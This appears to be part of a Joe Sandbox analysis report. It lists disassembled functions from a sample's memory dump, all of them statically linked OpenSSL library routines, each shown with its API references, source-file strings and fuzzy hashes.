Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertCertificateContextProperty$ErrorLast__fprintf_l
String ID: users\e_capi.c
API String ID: 3850018549-2638333933
Opcode ID: 9ac7ccff581af3992c12db6c49accd011de9ba145afe6363844cc3a5ec4d3914
Instruction ID: a992089530e956f22f7a58b791dfcb5fa493f447ca7bc6f692a6894454dbf43c
Opcode Fuzzy Hash: 9ac7ccff581af3992c12db6c49accd011de9ba145afe6363844cc3a5ec4d3914
Instruction Fuzzy Hash: 9DF0FC35B453217AE310E761AE06F5F77D8EF41B42F104426F605E54D2EB74EA108A56

Function 1009F8C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

__fprintf_l.LIBCMT ref: 1009F905

Strings

crypto\property\property_string.c, xrefs: 1009F8F2
ossl_property_str, xrefs: 1009F8E8

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireLockShared__fprintf_l
String ID: crypto\property\property_string.c$ossl_property_str
API String ID: 2043504311-1609725926
Opcode ID: e884f21fd4e8a421d59eb77a83ba95e2e3e93eb4073adf76679f7f02580e5d56
Instruction ID: 3bff94619596b8260c71f5d0019f039a339bd45c9d85b84e2753083a9eec9c3d
Opcode Fuzzy Hash: e884f21fd4e8a421d59eb77a83ba95e2e3e93eb4073adf76679f7f02580e5d56
Instruction Fuzzy Hash: 58F02739B046423AE650A274FD03F2F7291EF80754F144274FE0CA6297FA62BA30A1C6

Function 1007FDE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FE3C

Strings

crypto\dso\dso_lib.c, xrefs: 1007FE29
DSO_merge, xrefs: 1007FE1F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_merge$crypto\dso\dso_lib.c
API String ID: 3906573944-682201324
Opcode ID: 916bf3886718712aca1e22ffe52210acdfde780890381ce840eb8aa89fb2ba34
Instruction ID: c032da13b456cfd3947f1748066879ee6732f88f346c04bb88813a2d381a98f1
Opcode Fuzzy Hash: 916bf3886718712aca1e22ffe52210acdfde780890381ce840eb8aa89fb2ba34
Instruction Fuzzy Hash: 80F09030744212ABD644DA76BC01F7773C0EF80B54F15C85CF9849B252EA75EC169699

Function 1007AB90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007ABD0

Strings

crypto\user\eng_list.c, xrefs: 1007ABBD
ENGINE_get_first, xrefs: 1007ABB3

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_get_first$crypto\user\eng_list.c
API String ID: 3906573944-3503558075
Opcode ID: 319704de57dcc95b8f2a0d1ece40868b3192342f5f2e046c253e5ceb7d239f47
Instruction ID: c1f3b2c8f58b0f7cbc8110cc7d1fa9d3ccf10a1bb405e36709c3518b8ec63b44
Opcode Fuzzy Hash: 319704de57dcc95b8f2a0d1ece40868b3192342f5f2e046c253e5ceb7d239f47
Instruction Fuzzy Hash: E3F02478A40221B7D610EB74AC42B573281FB82B11F050420F94CEA293FF62B818F697

Function 1007AC20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007AC4A

Strings

ENGINE_get_next, xrefs: 1007AC2E
crypto\user\eng_list.c, xrefs: 1007AC38

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_get_next$crypto\user\eng_list.c
API String ID: 3906573944-2840040936
Opcode ID: 675f89e836da650c9d8e3c63b1421d605a2fed736439e4ef68a7169e2622405b
Instruction ID: 45ded0122c92e7f4072299014b22338205a24a7ebb382426875e67d4a48f18e2
Opcode Fuzzy Hash: 675f89e836da650c9d8e3c63b1421d605a2fed736439e4ef68a7169e2622405b
Instruction Fuzzy Hash: 34F0BB3960062137D101D755BC02B8A3295EFC2760B094024F98C96252EE15BD55D5EA

Function 1007E440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1007E485

Strings

ossl_decoder_cache_flush, xrefs: 1007E468
crypto\encode_decode\decoder_pkey.c, xrefs: 1007E472

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireExclusiveLock__fprintf_l
String ID: crypto\encode_decode\decoder_pkey.c$ossl_decoder_cache_flush
API String ID: 3216713783-3195795235
Opcode ID: 1a655cfc827ebd677b62a26f8294df269dc2427c1c6a2ca782780e7bc15344a7
Instruction ID: 8fac6781888b44c83e439576e57309d4e8042429f6e8b1be147179e39c6d1308
Opcode Fuzzy Hash: 1a655cfc827ebd677b62a26f8294df269dc2427c1c6a2ca782780e7bc15344a7
Instruction Fuzzy Hash: 24F0E23894022066EA61B720BC03F8B3582EF00750F018960FDC9B4263FA537E20A2DA

Function 100816A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100816C7

Strings

crypto\core_fetch.c, xrefs: 100816B5
ossl_method_construct_precondition, xrefs: 100816AE

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\core_fetch.c$ossl_method_construct_precondition
API String ID: 3906573944-2951843441
Opcode ID: f511a97e734390f96998ff6484a9aba70aaa5b0c4ad52f7badb69655d427a99b
Instruction ID: 95cab689d0289f945972a3723b89fb86cae5017098e21af87861f5f23fb94346
Opcode Fuzzy Hash: f511a97e734390f96998ff6484a9aba70aaa5b0c4ad52f7badb69655d427a99b
Instruction Fuzzy Hash: B3F090359053129BD350DE24BC05B9776E5FF00750F090C28F5C4A6192E7B19998CB92

Function 100A6140 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A617A

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A6167
ossl_decoder_ctx_add_decoder_inst, xrefs: 100A615D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_lib.c$ossl_decoder_ctx_add_decoder_inst
API String ID: 3906573944-750087597
Opcode ID: a6e26d960464732cca735b0ccad2658655d5847de1be429f0c91b607b3fa878e
Instruction ID: 80c4e5d82e155d23fa2fa30174ff44073cc1176a211b1557fddabf3d71e97706
Opcode Fuzzy Hash: a6e26d960464732cca735b0ccad2658655d5847de1be429f0c91b607b3fa878e
Instruction Fuzzy Hash: 12E09B357443116BE600A6F87D07F8726D8EF44370F058419F648E7282F660F910D696

Function 10081630 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10081657

Strings

crypto\core_fetch.c, xrefs: 10081644
ossl_method_construct_postcondition, xrefs: 1008163D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\core_fetch.c$ossl_method_construct_postcondition
API String ID: 3906573944-1539720549
Opcode ID: 11b11076cda3e39fec2011f40b9a111271901fe08520e21b8482aeb31be01171
Instruction ID: 864a547b2abfc702cc37b435e7d00d69b67efc31a77579970212a8a6a3ba0e16
Opcode Fuzzy Hash: 11b11076cda3e39fec2011f40b9a111271901fe08520e21b8482aeb31be01171
Instruction Fuzzy Hash: E5F0E534A40301AAD341DB10DC02F8B76E5FF40745F448968F588A91E2F7B5E8A4DE13

Function 10078150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007818E

Strings

crypto\conf\conf_lib.c, xrefs: 1007817B
NCONF_new_ex, xrefs: 10078171

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_new_ex$crypto\conf\conf_lib.c
API String ID: 3906573944-1639717269
Opcode ID: 16332b87ade177e314a58d0ea5342a7a6d8e4c078d6c789f48ea4743b23421c1
Instruction ID: 88353599e741d57119cdd3024136145c768739560b440c764e27a2b69696ed2a
Opcode Fuzzy Hash: 16332b87ade177e314a58d0ea5342a7a6d8e4c078d6c789f48ea4743b23421c1
Instruction Fuzzy Hash: EFE0D8743802426AD604E7789D83F0A72C4DF45540F144438F54DE6243EB90F919A217

Function 1005E590 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005E5D4

Strings

ENGINE_get_cipher, xrefs: 1005E5BA
crypto\user\tb_cipher.c, xrefs: 1005E5C1

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_get_cipher$crypto\user\tb_cipher.c
API String ID: 3906573944-2944140585
Opcode ID: 8fd662169b19569a22bb7c322dd8196c7afa37bbfd2424d2ddab1e8333dd938e
Instruction ID: 1547956b175398f1f1f2218464b9dab3c59b7c1dd2dffa7d731fb69d7ce6408b
Opcode Fuzzy Hash: 8fd662169b19569a22bb7c322dd8196c7afa37bbfd2424d2ddab1e8333dd938e
Instruction Fuzzy Hash: BDE0D87474030176EA08DA34CD46F2B32D5EF80B00F00C808F78C9A1C2FA74FD049506

Function 10061D90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061DC8

Strings

crypto\evp\evp_utils.c, xrefs: 10061DB5
geterr, xrefs: 10061DAE

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$geterr
API String ID: 3906573944-811583794
Opcode ID: 9ac57bf26cb736454e451476d9444e91706ea3504d8ce1af7ddc362b45ae3f56
Instruction ID: eaa4ea828b12d9066b638d9739c3a9f1c991ecb59db068b56fc914be5c1b2d8d
Opcode Fuzzy Hash: 9ac57bf26cb736454e451476d9444e91706ea3504d8ce1af7ddc362b45ae3f56
Instruction Fuzzy Hash: BCE0D838B402017EEA20E675AC42F8A36D1FF41760F494754F26CD60D1FBB5E454E207

Function 10061DF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061E28

Strings

crypto\evp\evp_utils.c, xrefs: 10061E15
seterr, xrefs: 10061E0E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$seterr
API String ID: 3906573944-2820180415
Opcode ID: 0bddc248037a1f7ce7b39bda55ed99270f64f46ab69c9a4305f66380cd659ce6
Instruction ID: 82f24baea002a904d719ebe2086cbc4dcbd29247e20c416f3986e056e5bbc28f
Opcode Fuzzy Hash: 0bddc248037a1f7ce7b39bda55ed99270f64f46ab69c9a4305f66380cd659ce6
Instruction Fuzzy Hash: 37E092347402026EE630EA749C42F4B36D2EB41B61F454654F6ACD60D1EBB6E424A107

Function 10061E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061E88

Strings

crypto\evp\evp_utils.c, xrefs: 10061E75
geterr, xrefs: 10061E6E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$geterr
API String ID: 3906573944-811583794
Opcode ID: 2da5ed8557a08ca7d5c637eba3502cfd6155cb0435a9898aab9de2dbc192a4fe
Instruction ID: 788c334ad43f1fcd671160af772ebbf0e1e23b4cf41d15b38fe2dbda8cb14f0e
Opcode Fuzzy Hash: 2da5ed8557a08ca7d5c637eba3502cfd6155cb0435a9898aab9de2dbc192a4fe
Instruction Fuzzy Hash: 4BE0D83874020229E620D6349C42F9A35C1EF41750F850754B51CD50D1EBA5E4949007

Function 10061EA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061ED8

Strings

crypto\evp\evp_utils.c, xrefs: 10061EC5
geterr, xrefs: 10061EBE

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$geterr
API String ID: 3906573944-811583794
Opcode ID: c4d1d2a8d33914ec6069200f76b625479b5da0f2470a1ae28fd0914e3c60559e
Instruction ID: 37fee0e7aab6a4b6148822ae5bf3ee8354ae9a32a2c6623d2a86012eb4ffe4ff
Opcode Fuzzy Hash: c4d1d2a8d33914ec6069200f76b625479b5da0f2470a1ae28fd0914e3c60559e
Instruction Fuzzy Hash: 6AE080347442026AF520D6749C46F8A35D1EF41750F850754F55CD50E2FBB6F4D5E047

Function 1005F1A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005F1D6

Strings

crypto\provider_core.c, xrefs: 1005F1C4
get_provider_store, xrefs: 1005F1BA

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$get_provider_store
API String ID: 3906573944-1804035588
Opcode ID: b1259a56b7f724deac6721db8aae7f2eef6e4624d7ece612465b4626681d9a78
Instruction ID: 5ae81660af1c1c55bcb85b351f3e059a487639e871288ad49a65d418df6d9fd2
Opcode Fuzzy Hash: b1259a56b7f724deac6721db8aae7f2eef6e4624d7ece612465b4626681d9a78
Instruction Fuzzy Hash: E9D05E35A8426172C520A2A47C47FDF1844DF02BA1F050214FA9D7A183E999396491E6

Function 10076610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10076645

Strings

crypto\evp\evp_rand.c, xrefs: 10076632
EVP_RAND_enable_locking, xrefs: 1007662B

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_RAND_enable_locking$crypto\evp\evp_rand.c
API String ID: 3906573944-3048646011
Opcode ID: 32f6fc85f11a171c8b72212ea5291bbaa09e5c71bab69a41da36045be88ab078
Instruction ID: 7afb428e19475df431144e73ab792766f873e6532917b40b2253521935c1ad3a
Opcode Fuzzy Hash: 32f6fc85f11a171c8b72212ea5291bbaa09e5c71bab69a41da36045be88ab078
Instruction Fuzzy Hash: 9CE0C2383806003BE610DA64EE07F173690EB45B40FC04094F60CEA1D2EE66F928D14A

Function 10078740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078772

Strings

do_init_module_list_lock, xrefs: 10078758
crypto\conf\conf_mod.c, xrefs: 1007875F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\conf\conf_mod.c$do_init_module_list_lock
API String ID: 3906573944-1688383198
Opcode ID: 64131c510959cfa386b76c2884cb7a4dc66171f3bd82e2057d25baad77c83cd8
Instruction ID: 12a03d856ecc5ba37d137fc7b88ebaf20b7914a1c8cdb892d69c4544ac443aef
Opcode Fuzzy Hash: 64131c510959cfa386b76c2884cb7a4dc66171f3bd82e2057d25baad77c83cd8
Instruction Fuzzy Hash: C4E08CF8580701A5E210AB60AC87B443484B746B04F804114F24CAD2C2EFF6A01CEF07

Function 101A1940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 101A1949
_msize.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 101A195F

Strings

failed memory resize %u to %u bytes, xrefs: 101A1968

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: _msizerealloc
String ID: failed memory resize %u to %u bytes
API String ID: 2713192863-2134078882
Opcode ID: a9821d05122e78986c57dd25eae6ebc52515ed6dad8c1ebc0fce32e52a685731
Instruction ID: ed7199b73b9e2efa633f69b28da4f119de7cb796a9529ac8798227144ca69602
Opcode Fuzzy Hash: a9821d05122e78986c57dd25eae6ebc52515ed6dad8c1ebc0fce32e52a685731
Instruction Fuzzy Hash: A0D0C23E904220BFC7112650BC0295BBA91DF446B4F108524FC6C55120D636AC20D7C3

Function 10078110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078137

Strings

crypto\conf\conf_lib.c, xrefs: 10078127
NCONF_load, xrefs: 1007811D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_load$crypto\conf\conf_lib.c
API String ID: 3906573944-95318575
Opcode ID: ac77748522ce259858b2cbbf57ad41bee8289e2caec1db0f4bba255880e6bed9
Instruction ID: 3639d00dbbd9056573b1851279054a8071fc6e19850831436c049e70135957db
Opcode Fuzzy Hash: ac77748522ce259858b2cbbf57ad41bee8289e2caec1db0f4bba255880e6bed9
Instruction Fuzzy Hash: 23E012743C42416AD614DB24DE82F1A76D5EB45B00F11455CF24CEA182DE60A918A516

Function 10089420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10089455

Strings

ERR_CAPI_error, xrefs: 10089438
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c, xrefs: 1008943F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
